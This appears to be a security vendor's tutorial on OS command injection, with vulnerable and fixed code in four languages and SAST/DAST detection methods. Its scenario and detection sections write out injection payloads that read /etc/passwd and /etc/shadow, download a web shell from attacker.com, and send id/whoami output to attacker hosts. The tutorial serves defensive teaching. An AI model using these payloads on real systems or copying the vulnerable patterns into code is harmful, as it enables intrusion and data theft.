Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Vulnerability Research

Command Injection: How It Works, Examples & How to Prevent It

Command injection lets attackers run OS commands on your server through unsanitized input. See how it works, real exploit examples in Python, PHP, and Java, and the correct fix.

Offensive360 Security Research Team — min read
command injection OS command injection CWE-78 OWASP web security application security SAST

Command injection (CWE-78) is one of the most critical vulnerabilities in web applications. When an application passes unsanitized user input to a system shell, an attacker can break out of the intended command and execute arbitrary OS commands on the server — with the same privileges as the application process.

At OWASP, command injection falls under A03:2021 – Injection, the same category as SQL injection. Despite being well-documented, it appears regularly in penetration test findings and is consistently flagged by SAST tools in production codebases.


How Command Injection Works

Web applications often need to invoke system utilities — running a file conversion, calling a network diagnostic tool, executing a script. When developers build OS commands by concatenating user-supplied strings, attackers can inject additional shell commands using metacharacters.

The most common metacharacters used in attacks:

CharacterEffect
;Execute second command after first
&&Execute second command only if first succeeds
||Execute second command only if first fails
| (pipe)Pass output of first command to second
` (backtick)Execute subcommand and substitute output
$()Subshell execution
\nNewline as command separator

Basic injection example:

The application accepts a hostname for a ping check:

GET /ping?host=192.168.1.1

Internally it runs:

os.system("ping -c 1 " + request.args.get("host"))

An attacker submits:

GET /ping?host=192.168.1.1;cat+/etc/passwd

The resulting shell command:

ping -c 1 192.168.1.1; cat /etc/passwd

The cat /etc/passwd command executes with full application-level privileges.


Real-World Exploitation Scenarios

Scenario 1: Remote Code Execution via File Utility

An image processing application accepts filenames:

// VULNERABLE: filename from user input passed to shell
$filename = $_GET['file'];
system("convert /uploads/" . $filename . " /thumbnails/thumb.jpg");

Attacker input: image.jpg; wget http://attacker.com/shell.php -O /var/www/html/shell.php

The injected command downloads a web shell to the document root, giving the attacker persistent access.

Scenario 2: DNS Lookup Tool

A network diagnostic feature accepts a domain name:

import subprocess

domain = request.form['domain']
# VULNERABLE: unsanitized input in shell command
result = subprocess.run(f"nslookup {domain}", shell=True, capture_output=True, text=True)

Attacker input: example.com && id && whoami && cat /etc/shadow

This executes three additional commands and returns their output to the attacker.

Scenario 3: Blind Command Injection

Sometimes command output is not returned to the HTTP response — but the injection still fires. Attackers use time-based or out-of-band techniques to confirm execution:

# Time-based: injects a sleep command and measures response delay
host=127.0.0.1; sleep 10

# Out-of-band: sends data to attacker-controlled server
host=127.0.0.1; curl http://attacker.com/$(id)
host=127.0.0.1; nslookup $(whoami).attacker.com

Blind command injection is just as dangerous as reflected injection — the attacker can still exfiltrate data, install backdoors, and pivot through the network.


Vulnerable Code Examples Across Languages

PHP

// VULNERABLE — $_GET input directly in shell_exec
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo $output;
// ALSO VULNERABLE — exec, system, passthru all execute shell commands
$file = $_POST['filename'];
exec("unzip /uploads/" . $file);
passthru("convert " . $file . " output.jpg");

Python

import os, subprocess

# VULNERABLE — shell=True with user input
domain = request.args.get('domain')
os.system("dig " + domain)
subprocess.run("nslookup " + domain, shell=True)

# ALSO VULNERABLE — using shell metacharacters via Popen
subprocess.Popen(f"grep {pattern} /var/log/app.log", shell=True)

Java

// VULNERABLE — Runtime.exec with string concatenation
String host = request.getParameter("host");
Process p = Runtime.getRuntime().exec("ping -c 1 " + host);

// ALSO VULNERABLE — ProcessBuilder with shell interpretation
ProcessBuilder pb = new ProcessBuilder("sh", "-c", "ping -c 1 " + host);
pb.start();

Node.js

const { exec } = require('child_process');

// VULNERABLE — user input in shell command
const filename = req.query.file;
exec(`convert uploads/${filename} output.jpg`, (err, stdout) => {
  res.send(stdout);
});

Secure Code Examples

The primary fix is to avoid shell invocation entirely. Use language-native libraries or pass commands as argument arrays (not strings) to avoid shell interpretation.

PHP — Use escapeshellarg()

// BETTER — escapeshellarg wraps and escapes the argument
$ip = escapeshellarg($_GET['ip']);
$output = shell_exec("ping -c 4 " . $ip);

// BEST — validate input strictly before any shell call
$ip = $_GET['ip'];
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    die('Invalid IP address');
}
$output = shell_exec("ping -c 4 " . escapeshellarg($ip));

Python — Use List Form (Avoid shell=True)

import subprocess

# SECURE — list form, no shell interpretation
domain = request.args.get('domain')
result = subprocess.run(
    ['nslookup', domain],   # List form — no shell involved
    shell=False,            # NEVER shell=True with user input
    capture_output=True,
    text=True,
    timeout=5
)

# Even better — validate input first
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', domain):
    return "Invalid domain", 400
result = subprocess.run(['nslookup', domain], shell=False, capture_output=True, text=True)

Java — Use ProcessBuilder with Argument List

// SECURE — ProcessBuilder with explicit argument list
String host = request.getParameter("host");

// Validate input first
if (!host.matches("[a-zA-Z0-9.\\-]+")) {
    response.sendError(400, "Invalid host");
    return;
}

ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", host);
// NOTE: No "sh", "-c" wrapper — the list form doesn't invoke a shell
pb.redirectErrorStream(true);
Process p = pb.start();

Node.js — Use execFile Instead of exec

const { execFile } = require('child_process');

// SECURE — execFile does not invoke a shell, arguments are passed directly
const filename = req.query.file;

// Validate first
if (!/^[a-zA-Z0-9_\-\.]+$/.test(filename)) {
    return res.status(400).send('Invalid filename');
}

execFile('convert', [`uploads/${filename}`, 'output.jpg'], (err, stdout) => {
    res.send(stdout);
});

Key Prevention Principles

1. Avoid Shell Commands Where Possible

The most reliable fix is to not call the shell at all. Use language-native libraries for common operations:

  • File operations → use filesystem APIs (os.path, java.nio.file, fs module)
  • Image conversion → use native bindings (ImageMagick Java binding, Pillow in Python)
  • DNS lookups → use language-native DNS resolvers (dns.lookup() in Node, socket.getaddrinfo() in Python)
  • HTTP requests → use HTTP client libraries, not curl via shell

2. Use Argument Lists, Not Shell Strings

When you must call an external process, pass arguments as an array, not a string. This bypasses shell interpretation entirely — metacharacters in arguments are treated as literals, not commands.

# These are EQUIVALENT in effect but VERY different in safety:
subprocess.run("ping -c 1 " + user_input, shell=True)   # DANGEROUS
subprocess.run(["ping", "-c", "1", user_input], shell=False)  # SAFE

3. Validate and Allowlist Input

Before passing any value to an OS command — even with escaping — validate it against a strict allowlist:

  • IP addresses → validate with FILTER_VALIDATE_IP (PHP), ipaddress module (Python)
  • Domains → regex ^[a-zA-Z0-9.\-]+$, max length limit
  • Filenames → strip directory traversal sequences, validate extension, never allow metacharacters

Never use a blocklist (trying to escape or filter out dangerous characters) — attackers can use encodings, unicode variations, and edge cases to bypass filters. Always prefer an allowlist.

4. Principle of Least Privilege

Even if command injection occurs, limiting the application’s OS privileges reduces impact:

  • Run the web application as a dedicated low-privilege user (not root or www-data with sudo)
  • Use Linux namespaces and seccomp profiles to restrict what system calls the process can make
  • Use containerization (Docker, Kubernetes) with read-only filesystems and dropped capabilities

Detection: How SAST Identifies Command Injection

Static analysis detects command injection by tracking data flow from user-controlled sources to OS command execution sinks:

Sources (user-controlled input):

  • HTTP request parameters ($_GET, request.args, req.query)
  • HTTP headers, cookies, file uploads
  • JSON/XML request bodies

Sinks (OS command execution):

  • system(), exec(), shell_exec(), passthru() (PHP)
  • os.system(), subprocess.run(shell=True), os.popen() (Python)
  • Runtime.exec(), ProcessBuilder with shell (Java)
  • child_process.exec(), child_process.spawn() with shell (Node.js)

A SAST tool performing taint analysis traces whether user-controlled data reaches these sinks without proper sanitization. Pattern-only scanners (that just look for calls to exec()) produce many false positives — taint analysis reduces noise by confirming the data actually flows through.


Detection: How DAST Identifies Command Injection

Dynamic scanners probe live endpoints with OS command injection payloads and look for behavioral responses:

Time-based detection (blind injection):

?host=127.0.0.1; sleep 5

If the response takes ~5 seconds longer than baseline, blind injection is confirmed.

Error-based detection:

?host=127.0.0.1; invalid_command_xyz

Error messages revealing /bin/sh or shell output confirm execution.

Out-of-band detection:

?host=127.0.0.1; curl http://collaborator.attacker.com/$(id)

A DNS or HTTP callback to an attacker-controlled server confirms code execution and reveals the running user.


OWASP & CWE References

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’) — the parent category
  • OWASP A03:2021 — Injection
  • OWASP Testing Guide: OTG-INPVAL-013 – Testing for Command Injection

Summary

AspectDetail
CWECWE-78 (OS Command Injection)
OWASPA03:2021 – Injection
SeverityCritical — typically leads to RCE
Root causeUnsanitized user input passed to shell
Primary fixAvoid shell calls; use argument list form
Secondary fixStrict allowlist input validation
DetectionTaint analysis (SAST); time-based/OOB payloads (DAST)

Command injection is consistently rated Critical severity because successful exploitation gives an attacker OS-level code execution on your server. The fix — avoiding shell calls and using argument arrays — is straightforward once you understand the root cause. The challenge is finding every place in a large codebase where this pattern occurs, which is exactly what a SAST tool is designed for.


Offensive360 SAST detects command injection through deep taint analysis across 60+ languages, tracing user input from HTTP request to OS command sink. Scan your codebase for command injection or view the full vulnerability knowledge base.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.